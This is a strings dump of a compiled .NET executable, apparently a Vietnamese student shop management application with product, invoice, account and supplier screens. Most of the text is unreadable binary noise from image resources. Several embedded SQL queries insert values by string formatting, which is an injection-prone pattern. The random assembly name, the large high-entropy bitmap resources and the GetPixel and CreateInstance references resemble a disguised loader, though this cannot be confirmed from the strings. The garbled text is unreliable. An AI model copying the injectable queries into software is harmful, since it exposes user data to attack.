!This program cannot be run in DOS mode.
`.rsrc
@.reloc
< csd
v4.0.30319
#Strings
<>9__1_0
<.ctor>b__1_0
<>9__5_0
<InitializeComponent>b__5_0
Nullable`1
IEnumerable`1
List`1
StringConn1
button1
listBox1
AboutBox1
textBox1
button2
textBox2
Func`3
button3
textBox3
button4
textBox4
button5
<Module>
KiemTraTonTaiTenNCC
LayNCC
LayNhaCC
get_MaCTHD
set_MaCTHD
_maCTHD
get_MaHD
set_MaHD
LayHoaDonTheoMaHD
get_ApDungHD
set_ApDungHD
_apDungHD
LayKhuyenMaiTheoHD
get_SoNamBH
set_SoNamBH
get_MaKH
set_MaKH
LayHoaDonTheoMaKH
get_TenKH
set_TenKH
_tenKH
LaySPTheoDK
maPhieuNK
MaPLTK
get_LoaiTK
set_LoaiTK
get_MaPhanLoaiTK
set_MaPhanLoaiTK
_maPhanLoaiTK
LayLoaiTK
_loaiTK
clsChiTietHD_DAO
clsPhanLoaiTK_DAO
clsDanhMuc_DAO
clsKhachHang_DAO
clsHinhAnh_DAO
clsKhuyenMai_DAO
clsSanPham_DAO
clsChiTietSanPham_DAO
clsTaiKhoan_DAO
clsNhanVien_DAO
clsHoaDon_DAO
clsPhieuNhapKho_DAO
clsChiTietPhieuNhapKho_DAO
clsNhaCungCap_DAO
System.IO
clsChiTietHD_DTO
clsPhanLoaiTK_DTO
clsChiTietSP_DTO
clsDanhMuc_DTO
clsKhachHang_DTO
clsHinhAnh_DTO
clsKhuyenMai_DTO
clsSanPham_DTO
clsTaiKhoan_DTO
clsNhanVien_DTO
clsHoaDon_DTO
clsPhieuNhapKho_DTO
clsChiTietPhieuNhapKho_DTO
clsNhaCungCap_DTO
get_MaCTSP
set_MaCTSP
LayMaCTSP
_maCTSP
get_MaSP
set_MaSP
get_TenSP
set_TenSP
LayTenSP
chiTietSP
get_JscvQ
clsChiTietHD_BUS
clsPhanLoaiTK_BUS
clsDanhMuc_BUS
clsKhachHang_BUS
clsHinhAnh_BUS
clsKhuyenMai_BUS
clsSanPham_BUS
clsChiTietSanPham_BUS
clsTaiKhoan_BUS
clsNhanVien_BUS
clsHoaDon_BUS
clsPhieuNhapKho_BUS
clsChiTietPhieuNhapKho_BUS
clsNhaCungCap_BUS
KiemTraTonTaiMaCT
get_SDT
set_SDT
get_MaNV
set_MaNV
value__
LayTatCaMauMa
get_MoTa
set_MoTa
System.Data
mscorlib
get_MauSac
set_MauSac
LayMauSac
mauSac
System.Collections.Generic
get_ChongNuoc
set_ChongNuoc
chongNuoc
LayTatCaDanhMuc
get_MaDanhMuc
set_MaDanhMuc
maDanhMuc
XoaDanhMuc
SuaDanhMuc
LayBangDanhMuc
ThemDanhMuc
get_TenDanhMuc
set_TenDanhMuc
KiemTraTonTaiTenDanhMuc
get_NgayKetThuc
set_NgayKetThuc
_ngayKetThuc
danhmuc
Thread
add_Load
Main_Load
set_Enabled
set_FormattingEnabled
Synchronized
<Make>k__BackingField
<Model>k__BackingField
DbCommand
SqlCommand
get_GiaBanLe
set_GiaBanLe
giaBanLe
CreateInstance
defaultInstance
set_AutoScaleMode
set_SizeMode
PictureBoxSizeMode
set_Image
get_Message
get_Make
set_Make
DataTable
Enumerable
IDisposable
Double
RuntimeTypeHandle
GetTypeFromHandle
Single
get_Title
get_AssemblyTitle
DockStyle
ColumnStyle
set_FormBorderStyle
FontStyle
RowStyle
set_Name
GetFileName
labelProductName
GetName
AssemblyName
labelCompanyName
DateTime
set_Multiline
SqlDbType
set_CommandType
SizeType
GetType
System.Core
get_Culture
set_Culture
resourceCulture
get_CodeBase
InternalDataCollectionBase
ButtonBase
ApplicationSettingsBase
TextBoxBase
Dispose
get_Date
Aggregate
DebuggerBrowsableState
EditorBrowsableState
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_Value
get_HasValue
JGZaI.exe
set_Size
set_MaximumSize
set_ClientSize
ISupportInitialize
LayBang
get_KhachHang
set_KhachHang
_khachHang
System.Threading
set_Padding
System.Runtime.Versioning
ToString
disposing
System.Drawing
get_TrongLuong
set_TrongLuong
trongLuong
get_SoLuong
set_SoLuong
CapNhatSoLuong
_soLuong
ShowDialog
LayDanhSach
get_HinhAnh
set_HinhAnh
get_MaHinhAnh
set_MaHinhAnh
_maHinhAnh
LoaiHinhAnh
ThemHinhAnh
get_TenHinhAnh
set_TenHinhAnh
_tenHinhAnh
LayHinhAnh
layHinhAnh
_hinhAnh
loaiAnh
ThucThiCauLenh
get_NgaySinh
set_NgaySinh
_ngaySinh
get_Width
get_KhuyenMai
set_KhuyenMai
get_MaKhuyenMai
set_MaKhuyenMai
_maKhuyenMai
LayBangKhuyenMai
get_TenKhuyenMai
set_TenKhuyenMai
_tenKhuyenMai
CapNhatKhuyenMai
LayKhuyenMai
_khuyenMai
KiemTraTaiKhoanDaTonTai
get_TrangThai
set_TrangThai
_trangThai
get_SoDienThoai
set_SoDienThoai
_soDienThoai
get_DiaChi
set_DiaChi
_diaChi
get_MoKetNoi
add_Click
set_Dock
btnOpenCarsInStock
_stock
Decimal
get_Model
set_Model
System.ComponentModel
TableLayoutPanel
tableLayoutPanel
GetPixel
DBNull
IButtonControl
ContainerControl
ListControl
get_Url
set_Url
get_MaCTSanPham
set_MaCTSanPham
maSanPham
XoaSanPham
SuaSanPham
idSanPham
KiemTraTrungSanPham
KiemTonTaiSanPham
ThemSanPham
tenSanPham
drSanPham
dtSanPham
ThemChiTietSanPham
chiTietSanPham
LayThongTinMotSanPham
LaySanPham
sanPham
Program
get_Item
System
LayBangSanPhamTuHDBan
resourceMan
Boolean
XoaTaiKhoan
SuaTaiKhoan
ThemTaiKhoan
get_TenTaiKhoan
set_TenTaiKhoan
_tenTaiKhoan
LayTaiKhoan
taiKhoan
SetRowSpan
get_QueQuan
set_QueQuan
_queQuan
get_HoTen
set_HoTen
_hoTen
get_TongTien
set_TongTien
_tongTien
get_ThanhTien
set_ThanhTien
_thanhTien
get_NhanVien
set_NhanVien
get_MaNhanVien
set_MaNhanVien
_maNhanVien
SuaNhanVien
LayBangNhanVien
ThemNhanVien
LayNhanVien
_nhanVien
set_TextAlign
LayThongTin
AppDomain
GetDomain
set_Margin
StringConn
get_HoaDon
set_HoaDon
_hoaDon
get_GiaVon
set_GiaVon
giaVon
set_ShowIcon
get_LastLogon
set_LastLogon
_lastLogon
GetFileNameWithoutExtension
get_Version
labelVersion
get_AssemblyVersion
Application
set_Location
imageLocation
System.Configuration
System.Globalization
System.Reflection
TableLayoutColumnStyleCollection
TableLayoutRowStyleCollection
TableLayoutControlCollection
SqlParameterCollection
DataRowCollection
DbConnection
SqlConnection
set_StartPosition
FormStartPosition
SqlException
get_Description
textBoxDescription
get_AssemblyDescription
System.Data.Common
okButton
set_AcceptButton
get_NgayKhoiTao
set_NgayKhoiTao
_ngayKhoiTao
CultureInfo
get_MaPhieuNhapKho
set_MaPhieuNhapKho
_maPhieuNhapKho
ThemPhieuNhapKho
ThemChiTietPhieuNhapKho
phieuNhapKho
get_MaNhaCungCap
set_MaNhaCungCap
_maNhaCungCap
XoaNhaCungCap
SuaNhaCungCap
ThemNhaCungCap
get_TenNhaCungCap
set_TenNhaCungCap
tenNhaCungCap
CapNhatDangNhap
Bitmap
set_TabStop
System.Linq
set_ShowInTaskbar
ExecuteScalar
ThucThiCauLenhWithScalar
Avatar
DbDataReader
SqlDataReader
ExecuteReader
sender
get_ResourceManager
ComponentResourceManager
EventHandler
System.CodeDom.Compiler
IContainer
DbParameter
SqlParameter
DbDataAdapter
SqlDataAdapter
set_Anchor
set_UseVisualStyleBackColor
DTO_Minor
IEnumerator
GetEnumerator
Activator
.cctor
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
DTO_Minor.AboutBox1.resources
DTO_Minor.CarsInStock.resources
DTO_Minor.Main.resources
DTO_Minor.Properties.Resources.resources
DebuggingModes
DTO_Minor.Properties
EnableVisualStyles
get_ColumnStyles
AnchorStyles
get_RowStyles
GetCustomAttributes
Settings
EventArgs
get_Controls
System.Windows.Forms
set_AutoScaleDimensions
System.Collections
set_ScrollBars
get_Cars
get_Parameters
components
get_Rows
Concat
Format
GetObject
get_Product
get_AssemblyProduct
get_MaChiTiet
set_MaChiTiet
maChiTiet
idChiTiet
LayChiTiet
chiTiet
get_Height
set_ItemHeight
get_Copyright
labelCopyright
get_AssemblyCopyright
EndInit
BeginInit
GraphicsUnit
get_Default
SetCompatibleTextRenderingDefault
set_DialogResult
System.Data.SqlClient
ContentAlignment
InitializeComponent
get_Current
current
set_Font
set_ColumnCount
set_RowCount
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
set_Text
get_NgayBatDau
set_NgayBatDau
_ngayBatDau
KiemTraTonTaiMau
get_MatKhau
set_MatKhau
_matKhau
get_ThuongHieu
set_ThuongHieu
LayThuongHieu
thuongHieu
get_ChatLieu
set_ChatLieu
LayChatLieu
chatLieu
XuLyDuLieu
LayDuLieu
get_GhiChu
set_GhiChu
_ghiChu
get_GiamTru
set_GiamTru
_giamTru
get_Now
DataRow
set_TabIndex
logoPictureBox
set_MinimizeBox
set_MaximizeBox
ListBox
TextBox
denNgay
tuNgay
get_Assembly
GetExecutingAssembly
set_ReadOnly
get_Company
get_AssemblyCompany
stringQuery
ExecuteNonQuery
GetCurrentDirectory
op_Inequality
WrapNonExceptionThrows
Microsoft
Copyright
Microsoft 2023
$83636585-96af-4a71-9de2-8e53db334c23
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.10.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD^V
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
lFd!JOO
J%3%Bcaaa
AYZM@?
)n||&k
sssCCC
UUUaaa"[
9m20k4
E0`"Xi
q#tSiwvv
M)jf1#
=FGGK&J
&jf63{
uFYSQs]
4qj#acccoo/=
SSS%3%OA
L@@@gg'
xE@caG
!r>B:!
eB]aee
=z4@#xp
=ecK~vwu
$5,xU`
IIIZZZS|
B..((@
)3]8hx
uIIIYYYyyy
cWmmmUUUYYYaaavvvJJJ\\\TT
vvuttt
5+pq`VsVVSVfcfFCF
-wwnnk
ZZQZZ+
<yr|A|
+?YnXm(
<==#""
{~~w}|.
\\vXYm40
kjZleUnk[
-NN{\\:\]
_gf~(bt
H mWW?
`mo_co_
..mnn]
fMFLLVl
7m*IN.OK
6(+NA\
mGUyYV
ysYjjUzz]vvS^^kaa
tPPPVVVQQ
yxtyzv{y
rMff}NNKv
fx%yM_KG'
F[[[GGG
&ymU,h
lv+",M
9M48^8x]
,10Xfh
`H^_9gh
9[08]{p
*p88=A
okkkii
J 9(Ys
GU~~~qq1}
.]PPPVVVYY
3R'?;I
!p88g)
"=$ev1
EaaaII
'N ,#c
3"3Q||<
.=->';
imZj\f
hqHHHEE
'*:-9z
rxx8?c
lFp>tp
qyq5'j~
SZK5G8
j9a+"sAZiIvU
eWWm#Z&
cCaXXXaa!g
apppZZ
rGj!<d
"%1zK*
:59&=u]V
63}}vV\nvB~
A.dedh
&Lq0_V
'm/N)+A
-4K'7*[
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD8@0
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
k]gOHMa
+QXNLr
ilz'9a
CDKD?/
u0E`In
tn/rQ#&S
I'W$a^s
&l39~! 3
vdtM%?
rfNwPH
ef6*--{
f_;Ip4
XurPtem
R;nJ*{
zT&/Uy
&Rz H@
py\D$=
h^ L&_
%uROfj
^efOc#O
t/.m5(
q$$'+Xj
Y5Lvn3
2PlxEBt
y^|7w|
"-|Re
NUPP2$%
J} dmj
jLYCB|
^Diy|Dj~
>.X}/z
.gn7Zin
f-J:ma
2Q+HP"
m?n4m^
g-o Lbm1x
L}[~"nD
C;55SG
e/YxjkRZY
~^a22u
JMEgIr+j
NmY\:C
[M7G-];*
>UnvOJ
I(Ummk
V@9}Q1.x,
FDBeUB
/DjOLyqD
lQ-8SS
0J"&8M
Rr1/QRC
8]xs$=
=?'R%3gF
d*!8 i
=e.qYspU
FOf<<2DC
?e8=]Hh
JQ%9,e
.`O&yL
:"*@b T
eZ6\y>
? y|0V'
-la!it
gRe=wqG
O.(NW>
:gU7[\
Q5f?s1
q#4W1{
t M3S34-p
%__SeH
o`vS[+<
A+mvpO[.(
&<k% >
OnD400
xlF:?F
rce :,!
0!Ndt8
W8A+n"
(bm6C6?
vlE*ad,1]
rCKch#
*m,:W|%\/i
oe.i)J
gS"'S-
2GwlzE_]
u:py,ub
N$pg2DBg
fe-rXj
\a]1DwG
Z\Ig=$
U3jzkz
j|0!K=
vo5305
J9We:h j
!\Ygk`
j+c"j`YUQAD
x1+3vy`'6
OZ"FkJ
1UVNWaV
E0YU40
xxHA~>2w
=K5<5x
FSWg>
4=t}2"
x%l_n+e
^i6^Wje
AqP{4pI
j!e2y
Hm\A/d
xJ:4Qk
0rl|p]
n|DX4c
cvO5/XVP
bdDmm8
k. LF
8AL\@t
4fjk#3
+ ~=gK
"F?f#:
a9vX1j,c%
C9y-@^?
ORknP:
|(#136
=Fx5<\>
K@pBc/LMn/
WoNy*Y
]X8P01
tz?,n<
nYcWD7
gXw|e0
:nw)V;
L>[(GF
Qws=x]
g:)/8t
jELti}I
YXaB==
FP\Gs'~
.JeuHy
IN_j[3
F0(,&%
LvW* #
>FYAGSIA^G
7K*IbA
<5OUkx
W:.SO/
PIAAG*
T"r3w0
/a+NV|
w3 !|D
`lloYV
dh.Ebm
O&1<if
_*,RRF
(ah{A"%n
-aJJi,Ho$
7%}It`
N%EuU0
LAq7J|
kG0(xI
"c%tq}
T:xZ()z
_Lag:E
gu6LYz
i" 9q)
";Z]?~
0ZX4[.
x:]d1=}
@`F+y:v8XQ
765MKNH
XU%r)hPVX
:2#06F@
88j){6>
qRYXO_
.4?r8XP
$msL>
h*h++Q
[l/SGZZx
HeaTV.
xQ<8j9
[z'txgq
yyY)Db
![*?C<
[0$!W>
*C#kooI
lv40U7;
oo|]y*
H~n)Nq;||
uVT)NV
dRJS%5
Crr$*)
wqVyx4
-;)pER
XYjT;6
A(8l1m
>N0ZP<
qb!$u4
Ivggg7
a}-Rh?
4)k)"e-
5uogd^
9rqz!cP-
=LE,7$
<O-iFJ
oO^o(n
EAUoEA
zy3CYT
#DZOnE h
,~P7DT
_rptDZ
6g?Rn=\
ds{(XI
%L Mje
H5ldfF
e7^)r{h
;bSFx1
MEFip\e
c\Mt"L
@84;t*U
JjG,f<
pr&$0l=2
HU;Br0x
o7m7Pmx
JxP}KT
qup Gf
JWJ(H<0Y
Xf2d"Q
*eLrFJ
z8WO(g
jUs=I1yB
uX:I'u
Af"l*O
1YQW[Y
=_HO"Gw
JMC.6>>
Kb"U-1
6R1c~h
("x@jM
8QfiOB'
otg%5&
En5'Y,
[oooO|
s<;M 9
5'TR|8dE
!N`we&
f_'f$4
4YU%,^
LbfFt0>
M|&9wO
]|#>S:
<5DlayTt~q{
{OefuQ+JU
.?-,Qb
w-%M=ao6
oeXWx'M
6>{=bnl
xL-qu+8
bkxv6c
xn(>t$
o=)n"i
'g2awE5
7R/flzu
1bt'&q
h9@L`f
_WO).x
U:`t7Ui+
] t^hSe
93lV|O
b>V_/Y
7vc/7:
7WkeuH
Ve^iLp
bF#ma3
qr4qnt~+
R&(*j`S
Ico[-N
MbQI]Eaz
nLO<%[
u/[~b#
{aDPYH
Z*u\(]
A6P*Q&
:{Z3g2
kFWg_Xp
{/e!y6
&Gy(}
"ji}}Q<
f%/.''
.8sWDV`
a#|ekw
H#<Y0Q
Vv=8'P
[XZK\+`c
DPl`4R
HV0}0/
85x$6}
;p&qD|:
. [QK/L
e'HS"ma1
nmm~Hz^/[
;#ma2'
!J?gyV
-w;"g|;
C|*("&
oEM]Rjvw
:=`Tom
*>~<ZM
j`dqCGg6
ht|[*K#
bjqw7s
,XFtzw
[:Xl9f
$C8K=l1
RE{co)W?
g;eS6d
x 9u`T
dlG$"Q/
2GK]EI
s18V?T
LknF>=
yVTy#~
1ub#x3^U)S
<.'V^]
\}mnH^
itir k
&Z:172t
O/KRI{
pkb;8"
`rWIpo
"8X]EY
_+5P::r
[EfLXwE
9w2jWlA
LiYiZCTt_zyeR
:{ag_&79
zQk [w
<+(|$-
b_IIwU
3f24w~>Pv
@ThCN!
,zjcJa
_lx8L'
vRcnDp
fs',8'
KoG0q;
VWuEtV
qjON>^
ZP*CP.
T~MzD
&tc&C
widSBRI
)Iv F/
C"^l^4
L.pEg1
cl`G:#XB
*::Zd=5
6G&sd@cr
Wk_V_w
S"naH?X
F]H(Ns
BAfILss
]OBfGO
6E^_b*
sKC8clw
^t^vwQ
%KVi5E
\d&v@$b
;XWoPDb
b2vmpd
/gx^./5_!M
O}7]?y
h"oiyc
Nf3(OY
nVsmxR+
zYQ> z
NeeJia_I
M|FthNz
@lyC3k 1
,IYrW'
xl|IR~
6W?\X}
``pz2<
u}}+bb
N[jF V
ogV;-k
tqDpIxY_FP
D5XLw&`
HmXvB=
c<\\;{v4
Sv-x.=J?
M>t*Q|
C1W.\=
&ndWJ;
z>TpoA
7D,`6S
@iLvU,
*aq\E4'
@)URTb!
sFH4BC
H`IiSbV
GYr\5
nE?_vh
#}~MmF
vZ$-={
i<9ytA
'ntN}e
t" fr&=
S^P^w&
]1 iA+c
OA*|<g
{,Pgz`\
`l}t9+
Y)mwIwLN/
+ds-{(
. T7 1
QLeUJ2
zzZNW01
BYNMNBj
tzPPqpF
rTC**
j;\;i^!
X%{>Fw{
'n;uz,
Y\b75.
L_Sz>+0
y<F,c1
nx/R$x
;z,%6k
EWJxp]
`ajUjZq
Fv'6 ?'>
2zDKRm
{hbJz)
]# 1Yv dk
9E89OzK3
<s9W`7
>c[^P(m~
ZX:}2c
Ix]>Fx
64ky*m
1`mSxQa*
<HO\[=
NCg8,&
j+j{3Sb
\ O!~^
wA6Nw|
Z1Er$<
#m#c!Y
D,aUnD~
2{GtEK
F00#h
Y$ye?YbUrB
eBK6o^
f`lhko
?!_mtT
ic~pk:*
16hzsn
CLaTd|
!O|O4}aN
Wx@YNC_,
nEK.]t
VhyM4z
7yobkm
_K=+~.
EcmcSJ!c
X9?qXz`
N0CCnv
j{XAGz9
75sI=b
d.J3G}
U?FLQaL
cLX$!O
FG.uno
j"YM":
"zmbjmN_
?:-44V
CP0:~5
BDd{hW
% Ov\W
XN2eYG[\0
_J?T^`=
j:v;Y{
#dV1?f
d$@;/e|A
}XD]i3
nw!m'e
y;ct ;
nzo J-
``KCObE
e0"LX^cLX
:;][zh<a
>%PZ~wG
`ZT&YN
0/-.LX
\fq~wx.
't|r*g
x HvX$
[:C"!_rT
Po~mMF
[23BSA,l
NuO'SO
h^z Ew
kw/Kkv
~Y2?.-
ncQj9-
!Hfz+
wM a <nP
DE@L^3
/`_S5l
`Agg;t?
28eRN,
\j@RRu
_w)'}#69-
V@Nf]5K
ye6nYvL<
7vzt,Uw:
S~EoIw
7nw&ZX'
{AU*tv@
+iKXT<
`=d*!8
Rgk {4
|awpKn
8S8uhr
N=xl[-
@~#g G
3yu/Ce
v[my>e
GO}U1n
9.X>+n
qP +2f
kgl*24
;RcJ5)
.Slvvw
{gFsc@Z
Z_2HYq
f~bRz|
Y+ol,=
JY+Wkl5
?c<snN9
AJ,kT@
qox^IF
"ppe|1
ev!Nx-
gnizcH
HP4P.1
\noIpnAbq%
;9_Z_<
qcv[|~
*>pxc=
GBd@!#
X2&f_=
okSNLo
9Q4z+6P
G,b$:a6
JEu%LJn,
,vjjXl
wk2=_A_
G69>08
$Ji=70
Z/nL_]
#A|I\l
z&Brh.
X>f#k9d=w
aaH|';
*M=0[7
V"D}Ab
<+o8<X8u
nn}s}fP
#B>v]g79
I01fy4+
w"7rg-J)
z'n,_e
O0"G$e
tSM*CJ%
9ufk]h
IDATd1
/j|>cx
d@:qn,
{>b*3@
{cneyNX
kQ;iyk
1-K(8U
!jH[Xs
M23'4HoX
Fv^'o]
63,^.FLa`1
4T-y7m
<@Vr%Y
@EcrU~}rjUU8
YOJlU2&
'W6$X=
w`2-"r
_Yg<Kti
o^^ik{
Ef oc`
q_N!)5
YM~RzEOM
+ 5rY\
`L &u$K
!D_HDB
`ad\CDO
e.4LsY-
c1mq$K$
aLD^"a
U!c/im
}X<,O6
qO|o*5
C,ad7G
N}Q>+&
>I&XZN
a={<TF;6
e"2]L'Z"
7[t Lg
e_O<<d=
Wmifa=6
_w$Dt*XS
rpV}_K
a{YW:1#
Scz|j%
-nN3V]
olR >=
y3"196
B&Q.NOr
=g6!Oy,
b<A,~>
ot1_<&i
LV}Sn`DMe(##
K#Ba':d
h{wIKlJi
b)@lv'jA
wb%yR)
W=v3NsF
*=xm`,
s/' B|
C^rAROJ:
d?8Lp\?
.2>)'/
0|,iK(
),&"5I
~u62c2[,Qb!6V5Z
y{$i+ud
X/%&$B
jo'1Lq&
!^ZxO*
,,c|3B
'h`)#mm
wY3OK7
V6^sxG
>6WoO}
2:,)etWJ
O#ha)1ee
Z\;cA^
\(uHqa
gGgSH;
KE_P]AD\N336
JxQ zYx
$c5UX]
3c&^6Z
=^n6{
Fv\^U/
Ks+rtC
~H97ux
4L'Ku{H
xj|Pd&
,Mr)4A
u/Z{X+
-l[N9a!s
E?[[5+k
'W0YrN
YB)L{N
>h |/4
{f' tL
5@pM+HO
n2L7`B
A}K;Pb
r ]t9\
au1@9)
3aiV <L
! H`a,
2mp.[K'
:ilP&Y
MgHN*O
WvO&ru+
p*S-i[k
w4#=t>f
8gN%N+
bb<txv
Q -Y?~$
C0j+aK
GM\N%3
v4o*#;:
DXs%b:
p'.|/&
+WU4X5Q
D]lzb~
{S|)}e
=S<Y}
IStNV2
?cqi4II'y5
~=CUb+
40tS=v
_F;c-)m
*XuN'}
+v"/w7c
o'mM;5
HlSgqV3
K_D1nq
AYZ"MX6
6r:x2vm
GTskMo
4&=YGl
Oe@e,+
li.ExP8
|e0*eQ<
V,/^DJ
=kj"}+
e=cDw!
%Jq+qgrqt
9[[&eg#6>
Neu +V'
1rx\xA
\7N::l^[
^V;EQ2
Elwl"{
%KEBQR
:,\ M
&RgeY8_
qW836|#
sF2(v5
-YFhh8VZ
* HSU&
zl.'nL
DGA;s6.@_c!
'5m$):
\}#cdn
LB~P(r
FKD,V/
Wy#<Gt1Vc"
a`2>%?9wu
Baf.z[
u7b>A=AM
Y4O{=B
}7u&]
["Vi/0
Ow]tN*2T
dD+vO*
"q 9Km~+8
3j:rTI
9u/#{;
fqdm*C{
[B\eht
raN<w!
jU}N.N
edB~1=
G.y6!KB
fhy>AI
T9Mz@)
$qF;qN
?@t gj<
=`8qwT
"Ubvt3
4ua4n7
kl!!K+
Iram<~
)2'Vs!
b{G%R[
;o=\Rm8]}
Xe0Fy9
DB\4*"O
bF4]Ss
Cvu1?U
uq;7-O
%b/Fq'1
s_5qGV
-2{?fcp
K)cwob
H{5jcZ
^O@3s k
`2w\&b
-;.r:S
7%8~%O
cl|6#j
W1Sg;!to
qGc=6?
r8T705S
!1b#*b
N ;}_f
~Bk_OF
\P,g}n
$JTN(e
tF[QyV
n7SZ]Edb9
ZthN M
4Mq#ux3
YB.||w
Tsgl .\
i0WuOs|
E+#9:'
0yp=&K
z27'?%f
7gdT1w
KX+?\r
4OHE~@?
1'x %Jgg
\3'Fj^fQh;
_JTz-2
NNG5}#S
y|q;!vn
TXT`j2
{br(R2@
H7C>UwQ
+Prl0O
+}Cpu%
5dc/K\
qgP7I%W
9|w)au
k)s?I
=O>'ce
JGZaI.pdb
SHA256
}q"]qN
*0~/m1
KKr2@c
iAW2k1
5dj]EU]IES-)
r_1'06
*;oMd\f
"hH]EKi]sw[
LX0BSR;|
mQCE[[
bU i|^}
7qfbUY
v9j^Kz
xCVjBrrBR|ZBJrZRjBFlEM
Pu|Us{
8Cy*}[6
MME{XK1
RyY5-5l
`ky~H3
X#c/,U
<EmTmq
\cKsSM
p1^>z!
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
L-R/X0Z3[4^
Insert into ChiTietHoaDon(MaCTHD,MaHD,MaCTSP,GiamTru,SoLuong,MaKhuyenMai,TongTien) values (@MaCTHD,@MaHD,@MaCTSP,@GiamTru,@SoLuong,@MaKhuyenMai,@TongTien)
@MaCTHD
@MaCTSP
@GiamTru
@SoLuong
@MaKhuyenMai
@TongTien
select Url,TenSP,ChiTietSanPham.MaCTSP as MaCTSP,MauSac,ThuongHieu,GiaBanLe,TenKhuyenMai,GiamTru,SoNamBH,ChiTietHoaDon.SoLuong as SoLuong,TongTien from SanPham,ChiTietHoaDon,ChiTietSanPham,HinhAnh,KhuyenMai where ChiTietHoaDon.MaHD = '{0}' AND ChiTietHoaDon.MaCTSP = ChiTietSanPham.MaCTSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietHoaDon.MaKhuyenMai = KhuyenMai.MaKhuyenMai
INSERT INTO ChiTietPhieuNhapKho(MaCTPhieuNhapKho,MaCTSP,SoLuong,MaPhieuNhapKho) VALUES (@MaCTPhieuNhapKho,@MaCTSP,@SoLuong,@MaPhieuNhapKho)
@MaCTPhieuNhapKho
@MaPhieuNhapKho
Select * from ChiTietPhieuNhapKho where MaPhieuNhapKho = '{0}'
MaCTPhieuNhapKho
MaCTSP
SoLuong
INSERT INTO ChiTietSanPham(MaSP,MaCTSP,MauSac,SoLuong,MaHinhAnh,TrangThai) VALUES(@MaSP,@MaCTSP,@MauSac,@SoLuong,@MaHinhAnh,@TrangThai)
@MauSac
@MaHinhAnh
@TrangThai
SELECT count(MaSP) FROM ChiTietSanPham WHERE MauSac = N'{0}' AND MaSP = '{1}'
UPDATE ChiTietSanPham SET SoLuong = @SoLuong WHERE MaCTSP = @MaCTSP AND MauSac = @MauSac
UPDATE ChiTietSanPham SET SoLuong = {0} WHERE MaCTSP = '{1}'
SELECT * FROM ChiTietSanPham WHERE MaSP = '{0}' AND MauSac =N'{1}'
Select * from ChiTietSanPham where MaCTSP = '{0}'
MaHinhAnh
MauSac
TrangThai
select count(*) from ChiTietSanPham where MaCTSP = '{0}'
Select Url from ChiTietSanPham,HinhAnh where MaSP = '{0}' AND MauSac = N'{1}' AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh
Select DISTINCT MauSac from ChiTietSanPham ORDER BY MauSac
Select DISTINCT MaCTSP from ChiTietSanPham where SoLuong > 0 ORDER BY MaCTSP
SELECT DanhMuc.MaDanhMuc,TenDanhMuc,count(TenSP) as TongSP from DanhMuc LEFT JOIN SanPham ON DanhMuc.MaDanhMuc = SanPham.MaDanhMuc WHERE TrangThai = 1 GROUP BY TenDanhMuc,DanhMuc.MaDanhMuc
SELECT count(TenDanhMuc) FROM DanhMuc WHERE TenDanhMuc = N'{0}'
INSERT INTO DanhMuc(TenDanhMuc,TrangThai) VALUES(@TenDanhMuc,@TrangThai)
@TenDanhMuc
UPDATE DanhMuc SET TenDanhMuc =@TenDanhMuc WHERE MaDanhMuc = @MaDanhMuc
@MaDanhMuc
UPDATE DanhMuc SET TrangThai = 0 WHERE MaDanhMuc = @MaDanhMuc
Insert into HinhAnh (TenHinhAnh,Url,TrangThai) values (@TenHinhAnh,@Url,@TrangThai) SELECT CAST(scope_identity() AS int)
@TenHinhAnh
Select * from HinhAnh where MaHinhAnh = {0} AND TrangThai = 1
TenHinhAnh
